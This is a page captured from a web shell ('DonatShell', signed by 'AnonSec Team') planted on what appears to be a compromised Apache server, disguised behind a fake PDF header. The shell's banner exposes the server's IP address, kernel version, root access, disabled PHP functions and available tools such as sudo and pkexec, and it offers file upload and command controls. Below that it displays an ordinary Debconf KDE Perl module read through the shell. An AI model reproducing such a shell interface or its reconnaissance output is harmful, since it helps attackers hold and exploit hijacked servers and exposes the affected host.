%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/perl5/Debconf/Element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /usr/share/perl5/Debconf/Element/Kde.pm
#!/usr/bin/perl -w
# This file was preprocessed, do not edit!


package Debconf::Element::Kde::ElementWidget;
use QtCore4;
use QtCore4::isa @ISA = qw(Qt::Widget);
use QtGui4;


sub NEW {
	shift->SUPER::NEW ($_[0]);
	this->{mytop} = undef;
}


sub settop {
    this->{mytop} = shift;
}


sub init {
	this->{toplayout} =  Qt::VBoxLayout(this);
	this->{mytop} = Qt::Widget(this);
	this->{toplayout}->addWidget (this->{mytop});
	this->{layout} = Qt::VBoxLayout();
	this->{mytop}->setLayout(this->{layout});
}


sub destroy {
	this->{toplayout} -> removeWidget (this->{mytop});
	undef this->{mytop};
}


sub top {
    return this->{mytop};
}


sub addwidget {
    this->{layout}->addWidget(@_);
}


sub addlayout {
    this->{layout}->addLayout (@_);
}






package Debconf::Element::Kde;
use strict;
use QtCore4;
use QtGui4;
use Debconf::Gettext;
use base qw(Debconf::Element);
use Debconf::Element::Kde::ElementWidget;
use Debconf::Encoding qw(to_Unicode);


sub create {
	my $this=shift;
	$this->parent(shift);
	$this->top(Debconf::Element::Kde::ElementWidget($this->parent, undef,
	                                                undef, undef));
	$this->top->init;
	$this->top->show;
}


sub destroy {
	my $this=shift;
	$this->top(undef);
}


sub addwidget {
	my $this=shift;
	my $widget=shift;
	$this->cur->addwidget($widget);
}


sub description {
	my $this=shift;
	my $label=Qt::Label($this->cur->top);
	$label->setText("<b>".to_Unicode($this->question->description."</b>"));
	$label->show;
	return $label;
}


sub startsect {
	my $this = shift;
	my $ew = Debconf::Element::Kde::ElementWidget($this->top);
	$ew->init;
	$this->cur($ew);
	$this->top->addwidget($ew);
	$ew->show;
}


sub endsect {
	my $this = shift;
	$this->cur($this->top);
}


sub adddescription {
	my $this=shift;
	my $label=$this->description;
	$this->addwidget($label);
}


sub addhelp {
	my $this=shift;
    
	my $help=to_Unicode($this->question->extended_description);
	return unless length $help;
	my $label=Qt::Label($this->cur->top);
	$label->setText($help);
	$label->setWordWrap(1);
	$this->addwidget($label); # line1
	$label->setMargin(5);
	$label->show;
}


sub value {
	my $this=shift;
	return '';
}


1

Anon7 - 2022
AnonSec Team